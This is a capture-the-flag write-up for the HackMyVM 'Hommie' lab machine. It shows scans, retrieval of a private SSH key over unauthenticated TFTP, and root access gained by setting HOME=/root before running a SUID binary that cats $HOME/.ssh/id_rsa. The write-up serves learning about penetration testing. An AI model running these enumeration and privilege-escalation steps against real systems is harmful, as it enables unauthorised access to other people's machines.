URLhttps://hackmyvm.eu/machines/machine.php?vm=Hommie
LevelEasy

Intro#

Enumeration#

Nmap#

I started the attack with 2 Nmap scans - TCP and UDP.

TCP#

nmap -vv -oA nmap_tcp -sCV target.local

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.14.2

The TCP Nmap scan revealed the existence of http, ftp and ssh services.

UDP#

nmap -vv -oA nmap_udp -sU target.local

#...
PORT   STATE         SERVICE REASON
68/udp open|filtered dhcpc   no-response
69/udp open|filtered tftp    no-response

The UDP scan revealed the TFTP service running on port 69. This will be useful later.

HTTP#

The http server hosted a plain-text message hinting usernames (alexia, nobody) and the id_rsa of alexia’s being exposed:

alexia, Your id_rsa is exposed, please move it!!!!! Im fighting regarding reverse shells! -nobody

This raised the question if I’ll be able to obtain the id_rsa from the FTP.

This could be a red herring though.

TFTP#

Knowing that TFTP works without user’s authentication, I tried to connect to it.

tftp target.local

tftp> status
Connected to target.local.
Mode: netascii Verbose: off Tracing: off Literal: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds

It worked finde, but unfortunately I wasn’t able to list the contents of the TFTP share, as this protocol doesn’t support directory listing.

Exploitation#

Ultimately, after a bit of trial and error, I obtained the id_rsa mentioned in the message from nobody (which seems pretty obvious now):

tftp> get id_rsa
tftp> quit

cat ./id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b38#...
-----END OPENSSH PRIVATE KEY-----

Then I tried to login to ssh using the obtained id_rsa:

chmod 600 ./id_rsa
ssh alexia@target.local -i ./id_rsa

alexia@hommie:~$ # Hello, world!

Obtaining the user flag was easy, as it was located directly in /home/alexia:

cat user.txt

<redacted>

Priv Esc#

Then, I looked up the suid-enabled binaries:

find / -perm -u=s -type f 2>/dev/null; find / -perm -4000 -o- -perm -2000 -o- -perm -6000

/opt/showMetheKey
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/umount

The /opt/showMetheKey looked interesting.

ls -l /opt

total 20
-rwsr-sr-x 1 root root 16720 Sep 30  2020 showMetheKey

file /opt/showMetheKey

/opt/showMetheKey: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=63398a6916b1b6bf3991e2b05fa60bec15b1faff, not stripped

The file was a binary owned by root.

Running it with user privileges resulted in displaying the same id_rsa as alexias:

/opt/showMetheKey

-----BEGIN OPENSSH PRIVATE KEY-----
b38#...
-----END OPENSSH PRIVATE KEY-----

Out of other ideas, I ran strings against that binary:

strings showMetheKey
# ...
setuid
system
setgid
cat $HOME/.ssh/id_rsa
# ...

So it seemed the binary output the $HOME/.ssh/id_rsa, so I tried to export another HOME:

export HOME=/root
./showMetheKey

-----BEGIN OPENSSH PRIVATE KEY-----
b3Blb#...
-----END OPENSSH PRIVATE KEY-----

And it worked out well.

I saved the key as id_rsa_root and used it to login to the server as him:

nvim id_rsa_root
chmod 600 id_rsa_root
ssh root@target.local -i id_rsa_root

root@hommie:~# id
uid=0(root) gid=0(root) groups=0(root)

Pwned#

ls
note.txt

cat note.txt
I dont remember where I stored root.txt !!!

Not so fast! I needed to find the flag on my own:

find / -name "root.txt"
/usr/include/root.txt

But it was pretty easy:

cat /usr/include/root.txt
<redacted>

Key Takeaways#

  • Always perform an UDP scan.